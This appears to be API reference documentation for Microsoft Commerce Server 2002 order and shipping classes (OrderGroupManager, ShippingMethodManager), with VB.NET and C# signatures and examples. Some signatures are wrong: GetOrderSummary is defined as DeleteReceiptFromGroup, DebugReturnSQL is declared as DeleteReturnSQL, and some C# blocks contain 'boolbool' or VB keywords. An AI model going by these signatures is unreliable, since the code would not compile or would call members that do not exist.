Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SavePrefix As String
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public string SavePrefix{ get; set; }

Property Value

A string containing the prefix.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

No dictionary entry that has a key name that begins with the value of the SavePrefix property will be saved to the database. Assuming that the SavePrefix property is set to the underscore character ("_"), if the value of _adjusted_price is $ 200 and the value of total_price is $ 400, then $ 200 will not be persisted, but $ 400 will be persisted.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroup.Value Property (PIA)

The Value property is a read-only object that contains the OrderGroup-level attributes as a dictionary.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public ReadOnly Property Value As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object get_Value{ get; }

Property Value

A Dictionary object containing the value.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in requisition.dll)

See Also

OrderGroup Class


OrderGroupManager Class (PIA)

Use this object to manage OrderGroup objects and their contents. This object allows you to search for orders or baskets without having to use SQL queries. It also allows for OrderGroup object deletions.

Methods

Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the database.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Find | Performs an SQL search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADODB26Lib.Recordset of OrderGroup templates for the specified user. Returns an ADODB26Lib.Recordset of the search results.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADODB26Lib.Recordset of OrderGroup items based on the specified SimpleFindSearchInfo and SimpleFindResultInfo objects. These object values contain the search criteria.

Properties

Property | Type | Description
DebugReturnSQL | Bool | Determines if methods of this object will run an SQL query and return the resulting recordset, or if it will construct the SQL query and return the query string. This property is read/write.
OrderFormHeaderColumns | Object | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | Object | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | Object | Returns a string of comma-separated OrderGroup table column names. This property is read-only.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

Business Process Objects

OrderGroup Class

OrderForm Class

SimpleFindSearchInfo Class

SimpleFindResultInfo Class


OrderGroupManager Methods (PIA)

Methods

Method | Description
DeleteOrderGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the database.
DeleteReceiptGroupFromDisk | Checks whether a connection to the database has been established for the specified OrderGroup object, and then deletes the OrderGroup object and all objects contained within it from the site database. Use this method for OrderGroup objects saved as orders.
GetOrderSummary | Returns a recordset containing the summary information for the order.
Find | Performs an SQL search based on the specified SQL clause fragments.
FindTemplatesForUser | Finds an ADODB26Lib.Recordset of OrderGroup templates for the specified user. Returns an ADODB26Lib.Recordset of the search results.
Initialize | Creates a connection to the specified database.
SimpleDelete | Deletes all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.
SimpleFind | Returns an ADODB26Lib.Recordset of OrderGroup items based on the specified SimpleFindSearchInfo and SimpleFindResultInfo objects. These object values contain the search criteria.


OrderGroupManager.DeleteOrderGroupFromDisk Method (PIA)

Use this method to check whether a connection to the database has been established for the specified OrderGroup object, and then delete the OrderGroup object and all objects contained within it from the database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteOrderGroupFromDisk(
  OrderGroupID As String
)
[C#]

using Microsoft.CommerceServer.Interop.Orders;

…

public void DeleteOrderGroupFromDisk(
  string OrderGroupID
);

Parameters

[Visual Basic .NET]
OrderGroupID
A String that contains the OrderGroup ID.
[C#]
OrderGroupID
A string that contains the OrderGroup ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' sOrderGroupID is a string containing a valid OrderGroupID
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.DeleteOrderGroupFromDisk(sOrderGroupID)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.DeleteReceiptGroupFromDisk Method (PIA)

Use this method to check whether a connection to the site database has been established for the specified OrderGroup object, and then delete the OrderGroup object and all objects contained within it from the database. Use this method when the state of the OrderGroup object is set to basket or template.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteReceiptGroupFromDisk(
  OrderGroupId As String)
[C#]
Imports Microsoft.CommerceServer.Interop.Orders;
…
Public void DeleteReceiptGroupFromDisk(
  String OrderGroupId
);

Parameters

[Visual Basic .NET]
OrderGroupId
A String that contains the OrderGroup ID.
[C#]
OrderGroupId
A string that contains the OrderGroup ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.GetOrderSummary Method (PIA)

Use this method to return a recordset containing the summary information for the order.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function DeleteReceiptFromGroup(
  oid As Object
) As Object
[C#]
Imports Microsoft.CommerceServer.Interop.Orders
…
public object DeleteReceiptFromGroup(
  object oid
);

Parameters

[Visual Basic .NET]
oid
An Object that contains the OrderGroup object ID.
[C#]
oid
An object that contains the OrderGroup object ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method returns the keys saved_cy_adjust_subtotal and total_line_items for the given order_group_id.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.Find Method (PIA)

Use this method to perform an SQL search based on the specified SQL clause fragments.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function Find(
  OrderGroupCriteriaArray As Object,
  OrderFormCriteriaArray As Object,
  LineItemCriteriaArray As Object,
  Optional SearchDateTimeColumn As Object,
  Optional SearchDateTimeStart As Object,
  Optional SearchDateTimeEnd As Object,
  Optional StatusFilter As Integer,
  Optional JoinOrderFormInfo As Boolean,
  Optional JoinLineItemInfo As Boolean,
  Optional Columns As Object,
  Optional OrderGroupSortColumn As Object,
  Optional SortDirection As Object,
  Optional PageSize As Integer,
  Optional PageNumber As Integer,
  Optional ByRef outTotalRecordsFound As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using ADODB26Lib;                              //For Recordset
…
public object Find(
  object OrderGroupCriteriaArray,
  object OrderFormCriteriaArray,
  object LineItemCriteriaArray,
  object SearchDateTimeColumn,
  object SearchDateTimeStart,
  object SearchDateTimeEnd,
  int StatusFilter,
  boolbool JoinOrderFormInfo,
  boolbool JoinLineItemInfo,
  object Columns,
  object OrderGroupSortColumn,
  object SortDirection,
  int PageSize,
  int PageNumber,
  ref object outTotalRecordsFound
);

Parameters

[Visual Basic .NET]
OrderGroupCriteriaArray
An Object that contains the SQL clause used to search for a specific set of OrderGroup objects.
OrderFormCriteriaArray
An Object that contains the SQL clause used to search for a specific set of OrderForm objects.
LineItemCriteriaArray
An Object that contains the SQL clause used to search for a specific set of line items.
SearchDateTimeColumn
An Object that specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This parameter is optional.
SearchDateTimeStart
An Object that specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This parameter is optional.
SearchDateTimeEnd
An Object that specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This parameter is optional.
StatusFilter
An Integer that stores the OrderGroup object status. This parameter is optional.
JoinOrderFormInfo
A Boolean indicating whether to include the OrderFormHeader table in the results. This parameter is optional.
JoinLineItemInfo
A Boolean indicating whether to include the OrderFormLineItems table in the results. This parameter is optional.
Columns
An Object that contains the names of the columns to return in addition to the default columns. This parameter is optional.
OrderGroupSortColumn
An Object that contains the OrderGroup column name to sort on. This parameter is optional.
SortDirection
An Object that contains the sort direction. This parameter is optional; possible values for this parameter are the SQL strings "ASC" or "DESC".
PageSize
With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) The PageSize parameter is an Integer that contains the number of line items per page. This parameter setting must be coordinated with the PageNumber parameter. This parameter is optional and has a default value of 20.
PageNumber
With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) The PageNumber parameter is an Integer that contains the page number to jump to. This parameter setting must be coordinated with the PageSize parameter. This parameter is optional.
outTotalRecordsFound
An Object that specifies the total number of records found.
[C#]
OrderGroupCriteriaArray
An object that contains the SQL clause used to search for a specific set of OrderGroup objects.
OrderFormCriteriaArray
An object that contains the SQL clause used to search for a specific set of OrderForm objects.
LineItemCriteriaArray
An object that contains the SQL clause used to search for a specific set of line items.
SearchDateTimeColumn
An object that specifies the DateTime column name to search for; if set to Type.Missing, the DateTime column name does not become part of the search criteria.
SearchDateTimeStart
An object that specifies the DateTime start value to search for; if set to Type.Missing, the DateTime start value does not become part of the search criteria.
SearchDateTimeEnd
An object that specifies the DateTime end value to search for; if set to Type.Missing, the DateTime end value does not become part of the search criteria.
StatusFilter
An int that stores the OrderGroup status. Set to 0 for default.
JoinOrderFormInfo
A bool indicating whether to include the OrderFormHeader table in the results.
JoinLineItemInfo
A bool indicating whether to include the OrderFormLineItems table in the results.
Columns
An object that contains the names of the columns to return in addition to the default columns. Set to Type.Missing to return no additional columns.
OrderGroupSortColumn
An object that contains the OrderGroup column name to sort on. Set to Type.Missing in order to not specify a sort column.
SortDirection
An object that contains the sort direction. This parameter is optional; possible values for this parameter are the SQL strings "ASC" or "DESC". Set to Type.Missing in order to not specify a sort direction.
PageSize
With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) The PageSize parameter is an int that contains the number of line items per page. This parameter setting must be coordinated with the PageNumber parameter. Set to Type.Missing to use the default value of 20.
PageNumber
With this method, you can implement a paging mechanism that allows you to page through your orders. (These could be viewed in a list sheet, for example.) The PageNumber parameter is an int that contains the page number to jump to. This parameter setting must be coordinated with the PageSize parameter. Set to Type.Missing to use the default value of 1.
outTotalRecordsFound
A reference to an object that specifies the total number of records found. Set the object to Type.Missing if the returned value is not needed.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the Recordset containing the result set that meets the search criteria.

[C#] This method returns an ADODB26Lib.Recordset containing the result set that meets the search criteria.

Exceptions

[Visual Basic .NET] This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oRecordset is an Object
' oOrderGroupCriteriaArray is an Object
' oOrderFormCriteriaArray is an Object
' oLineItemCriteriaArray is an Object
' oOrderGroupManager is a Commerce OrderGroupManager object
oRecordset = oOrderGroupManager.Find(oOrderGroupCriteriaArray, _
    oOrderFormCriteriaArray, oLineItemCriteriaArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

OrderGroupManager Class

OrderGroupManager.SimpleFind


OrderGroupManager.FindTemplatesForUser Method (PIA)

Use this method to build and return a Recordset of OrderGroup templates for the specified user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function FindTemplatesForUser(
  Optional UserId As String,
  Optional SearchDateTimeColumn As Object,
  Optional SearchDateTimeStart As Object,
  Optional SearchDateTimeEnd As Object,
  Optional JoinOrderFormInfo As Object,
  Optional JoinLineItemInfo As Object,
  Optional Columns As Object,
  Optional OrderGroupSortColumn As Object,
  Optional SortDirection As Object,
  Optional PageSize As Integer,
  Optional PageNumber As Integer,
  Optional outTotalRecordsFound As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using ADODB26Lib;                              //For Recordset
…
public object FindTemplatesForUser(
  string UserId,
  objectSearchDateTimeColumn,
  objectSearchDateTimeStart,
  objectSearchDateTimeEnd,
  bool JoinOrderFormInfo,
  bool JoinLineItemInfo,
  objectColumns,
  objectOrderGroupSortColumn,
  objectSortDirection,
  int PageSize,
  int PageNumber,
  ref object outTotalRecordsFound
);

Parameters

[Visual Basic .NET]
UserId
A String that contains the User ID GUID.
SearchDateTimeColumn
An Object that contains the DateTime column name to use in the search.
SearchDateTimeStart
An Object that contains the search DateTime start value.
SearchDateTimeEnd
An Object that contains the search DateTime end value.
JoinOrderFormInfo
A Boolean that indicates whether the OrderFormHeader table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included.
JoinLineItemInfo
A Boolean that indicates whether the OrderFormLineItem table is included in the search. A value of True indicates that the table is included. A value of False indicates that the table is not included.
Columns
An Object that contains the names of columns that you want returned in addition to the default columns.
OrderGroupSortColumn
An Object that contains the OrderGroup sort column.
SortDirection
An Object that contains the sort direction.
PageSize
An Integer that contains the page size.
PageNumber
An Integer that contains the page number.
outTotalRecordsFound
An Object that contains the total number of records found. This parameter is optional.
[C#]
UserId
A string that contains the User ID GUID.
SearchDateTimeColumn
An object that contains the DateTime column name to use in the search. Set to Type.Missing to not use a DateColumn search column.
SearchDateTimeStart
An object that contains the search DateTime start value. Set to Type.Missing to not search using a start value.
SearchDateTimeEnd
An object that contains the search DateTime end value. Set to Type.Missing to not search using an end value.
JoinOrderFormInfo
A bool that indicates whether the OrderFormHeader table is included in the search. A value of true indicates that the table is included. A value of false indicates that the table is not included.
JoinLineItemInfo
A bool that indicates whether the OrderFormLineItem table is included in the search. A value of true indicates that the table is included. A value of false indicates that the table is not included.
Columns
An object that contains the names of columns that you want returned in addition to the default columns. Set to Type.Missing to include no additional columns.
OrderGroupSortColumn
An object that contains the OrderGroup sort column. Set to Type.Missing to not specify an OrderGroup sort column.
SortDirection
An object that contains the sort direction. Set to Type.Missing to not specify a sort direction.
PageSize
An int that contains the page size. Set to Type.Missing to use the default value of 20.
PageNumber
An int that contains the page number.
outTotalRecordsFound
A reference to the object that contains the total number of records found. Set an object to Type.Missing if the returned value is not needed.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains a Recordset of the search results.

[C#] This method returns an ADO Recordset of the search results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.FindTemplatesForUser("{11223344-1122-1122-1122- _
    AABBCCDDEEFF}")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class

Business Process Classs


OrderGroupManager.Initialize Method (PIA)

Use this method to create a connection to the specified database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  ConnectionString As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Initialize(
  ref object ConnectionString
);

Parameters

[Visual Basic .NET]
ConnectionString
An Object that contains the database connection string.
[C#]
ConnectionString
A reference to an object that contains the database connection string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oConnectionString is an Object containing a database connection string
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.Initialize(oConnectionString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.SimpleDelete Method (PIA)

Use this method to delete all entries that meet the search criteria as specified by the supplied SimpleFindSearchInfo and SimpleFindResultInfo objects.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SimpleDelete(
  sfSearchInfo As ISimpleFindSearchInfo,
  sfResultInfo As ISimpleFindResultInfo
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SimpleDelete(
  ISimpleFindSearchInfo sfSearchInfo,
  ISimpleFindResultInfo sfResultInfo,
);

Parameters

[Visual Basic .NET]
sfSearchInfo
An object that implements the ISimpleFindSearchInfo interface containing the search criteria.
sfResultInfo
An object that implements the ISimpleFindResultInfo interface containing the search results.
[C#]
sfSearchInfo
The ISimpleFindSearchInfo interface of a SimpleFindSearchInfo object that contains the search criteria.
sfResultInfo
The ISimpleFindResultInfo interface of a SimpleFindResultInfo object that contains the search results.

Return Values

An object containing the number of entries deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oSimpleFindSearchInfo is a Commerce SimpleFindSearchInfo object
' oSimpleFindResultInfo is a Commerce SimpleFindResultInfo object
' oOrderGroupManager is a Commerce OrderGroupManager object
oOrderGroupManager.SimpleDelete(oSimpleFindSearchInfo, _
    oSimpleFindResultInfo)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.SimpleFind Method (PIA)

Use this method to retrieve an ADO Recordset of OrderGroup items based on the specified SimpleFindSearchInfo and SimpleFindResultInfo object values. These object values contain the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function SimpleFind(
  sfSearchInfo As ISimpleFindSearchInfo,
  sfResultInfo As ISimpleFindResultInfo,
  Optional ByRef outTotalRecordsFound As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
using ADODB26Lib;                              //For Recordset
…
public object SimpleFind(
  ISimpleFindSearchInfo sfSearchInfo,
  ISimpleFindResultInfo sfResultInfo,
  ref object outTotalRecordsFound
);

Parameters

[Visual Basic .NET]
sfSearchInfo
An object that implements the ISimpleFindSearchInfo interface containing the search criteria.
sfResultInfo
An object that implements the ISimpleFindResultInfo interface containing the search results.
outTotalRecordsFound
An Object that contains the total number of records found.
[C#]
sfSearchInfo
The ISimpleFindSearchInfo interface of a SimpleFindSearchInfo object that contains the search criteria.

sfResultInfo

The ISimpleFindResultInfo interface of a SimpleFindResultInfo object that contains the search criteria.

outTotalRecordsFound
A reference to an object that contains the total number of records found.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset that contains the search result OrderGroup items.

[C#] This method returns a Recordset of the OrderGroup items.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

Dim oSFSearch, sReqID, oOGMgr
' oOGMgr is a Commerce.OrderGroupManager object
oSFSearch = New SimpleFindSearchInfo()
' Search for this OrderGroup ID
sReqID ="754C40C6-EAA9-454C-A8AB-02789FBE0FB9"
oSFSearch.ordergroup_id = sReqID

Dim oSFResult
osfResult = New SimpleFindResultInfo()
oSFResult.JoinLineItemInfo = True
oSFResult.JoinOrderFormInfo = True

Dim oRSResults
oRSResults = New Recordset()

oRSResults = oOGMgr.SimpleFind(oSFSearch, oSFResult)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

Business Process Classs

OrderGroupManager Class


OrderGroupManager Properties (PIA)

Properties

Property | Type | Description
DebugReturnSQL | Bool | Determines if methods of this object will run an SQL query and return the resulting recordset, or if it will construct the SQL query and return the query string. This property is read/write.
OrderFormHeaderColumns | Object | Returns a string of comma-separated OrderFormHeader table column names. This property is read-only.
OrderFormLineItemsColumns | Object | Returns a string of comma-separated OrderFormLineItems table column names. This property is read-only.
OrderGroupColumns | Object | Returns a string of comma-separated OrderGroup table column names. This property is read-only.


OrderGroupManager.DebugReturnSQL Property (PIA)

The DebugReturnSQL property is a read/write Boolean that determines if the methods of the OrderGroupManager object will run an SQL query and return the resulting recordset, or if it will construct the SQL Server query and return the query string. This property is intended for internal use only and should not be called externally.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public property DeleteReturnSQL As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public bool DeleteReturnSQL( get; set);

Parameters

[C#] [in] When putting a value, a Bool used to determine if methods of this object will run a SQL Server query, or if they will debug the SQL Server connection string.
[out, retval] When getting a value, a Bool used to determine if methods of this object will run a SQL Server query, or if they will debug the SQL Server connection string.

Remarks

If the DebugReturnSQL property is set to False, then the methods such as OrderGroupManager.Find and OrderGroupManager.SimpleFind construct the appropriate SQL Server query, run the query, and return the resulting recordset.

If the DebugReturnSQL property is set to True, then the methods such as OrderGroupManager.Find and OrderGroupManager.SimpleFind construct the appropriate SQL Server query and return the query string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager


OrderGroupManager.OrderFormHeaderColumns Property (PIA)

The OrderFormHeaderColumns property is a read-only object that contains a collection of OrderFormHeader table column names.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public ReadOnly Property OrderFormHeaderColumns As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object OrderFormHeaderColumns {get; };

Property Value

An object containing a collection of OrderForm header table column names.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.OrderFormLineItemsColumns Property (PIA)

The OrderFormLineItemsColumns property is a read-only object that contains a collection of OrderFormLineItems table column names.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public ReadOnly Property OrderFormLineItemsColumns As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object OrderFormLineItemsColumns {get; }

Property Value

An object containing a collection of LineItem table column names.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


OrderGroupManager.OrderGroupColumns Property (PIA)

The OrderGroupColumns property is a read-only Object that contains a collection of OrderGroup table column names.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public ReadOnly Property OrderGroupColumns As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object OrderGroupColumns {get; }

Property Value

An object containing the collection of OrderGroup table column names.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_req (in cs_req.dll)

See Also

OrderGroupManager Class


ShippingMethodManager Class (PIA)

Use this object to manage shipping methods that will be available on the site. The ShippingMethodManager object lets you add and remove methods, and set their description, availability, and configuration.

Methods

Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a Recordset containing the current shipping methods.
GetMethodInfo | Returns a Recordset containing information about the loaded shipping method.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets pairs of names and values for the current method.

Remarks

The shipping architecture in Microsoft Commerce Server 2002 is designed so that shipping methods can be changed through the Shipping Methods module in Commerce Server Business Desk without programming or editing pipelines. To do this, Commerce Server maintains a database table, ShippingConfig, of shipping methods and the information required to configure shipping components to implement those methods.

The ShippingMethodManager object is used by Business Desk to manage the ShippingConfig database table.

For more information about shipping objects, see Overview of the Multiple-shipment Shipping Architecture.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)


ShippingMethodManager Methods (PIA)

Methods

Method | Description
CreateMethodInstance | Creates an empty instance of a shipping method.
DeleteMethodInstance | Deletes the current shipping method instance.
GetComponentConfig | Retrieves the Configuration dictionary for the shipping component, which implements the current shipping method.
GetInstalledMethodList | Returns a Recordset containing the current shipping methods.
GetMethodInfo | Returns a Recordset containing information about the loaded shipping method.
Initialize | Initializes the ShippingMethodManager object and connects it to a database.
LoadMethodInstance | Loads a given shipping method to be manipulated by other methods.
SaveMethodConfig | Saves information about the current method.
SetCachableComponentConfig | Saves configuration and other component information for a component.
SetMethodConfig | Sets pairs of names and values for the current method.


ShippingMethodManager.CreateMethodInstance Method (PIA)

Use this method to create a new shipping method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function CreateMethodInstance(
  ByRef bOnDisk As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object CreateMethodInstance(
  ref object bOnDisk
);

Parameters

[Visual Basic .NET]
bOnDisk
An Object containing a Boolean indicating whether or not to create the shipping method on disk. This parameter is usually set to True.
[C#]
bOnDisk
An object containing a bool value indicating whether or not to create the shipping method on disk. This parameter is usually set to True.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing a string that is the method ID of the new shipping method. The method returns an empty string when the bOnDisk parameter is False.

[C#] This method returns an object containing a string that is the method ID of the new method. It is set to an empty string value if the bOnDisk parameter is False.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the shipping method is created to be saved on disk (the bOnSaved parameter is True), the function adds a new record to the current recordset with the enabled column value set to zero (0) and the shipping_method_id column set to the new shipping method ID.

[Visual Basic .NET]

Example

' Initialize the ShippingMethodManager object
' oSMM is a Commerce.ShippingMethodManager object
' MSCSTransactionConfigConnStr is sConnectionString, a string containing
' the connection string

oSMM.Initialize(MSCSTransactionConfigConnStr)

' Create a new shipping method
' bOnDisk is set to True
' sShippingMethodID is sMethodID
sShippingMethodID = oSMM.CreateMethodInstance(True)

' Set the configuration data for the pipeline component
' sProgID, sAction, and sActionFrientlyName are strings
' dConfigDict is a Commerce.Dictionary object

oSMM.SetCachableComponentConfig(sProgID, dConfigDict, _
                 sAction, sActionFriendlyName)

' Set properties for the shipping method
Dim aParamsAndValues as System.Array
aParamsAndValues(0) = "shipping_method_name"
aParamsAndValues(1) = "My Shipping Method"
aParamsAndValues(2) = "description"
aParamsAndValues(3) = "Cheapest but slowest shipping method"
aParamsAndValues(4) = "enabled"
aParamsAndValues(5) = 1

oSMM.SetMethodConfig(aParamsAndValues)

' Save the configured shipping method
oSMM.SaveMethodConfig()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Object

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.DeleteMethodInstance Method (PIA)

Use this method to delete the current shipping method instance.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub DeleteMethodInstance()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object DeleteMethodInstance();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic .NET]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object
' sMethodId is set to sShippingMethodId,
' the method ID of the new method

oSMM.LoadMethodInstance(sShippingMethodId)
oSMM.DeleteMethodInstance()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.GetComponentConfig Method (PIA)

Use this method to retrieve the Configuration dictionary for the shipping component to implement the current shipping method. The shipping method must be loaded using LoadMethodInstance before calling GetComponentConfig.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetComponentConfig() As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetComponentConfig();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the Configuration dictionary for the current shipping method.

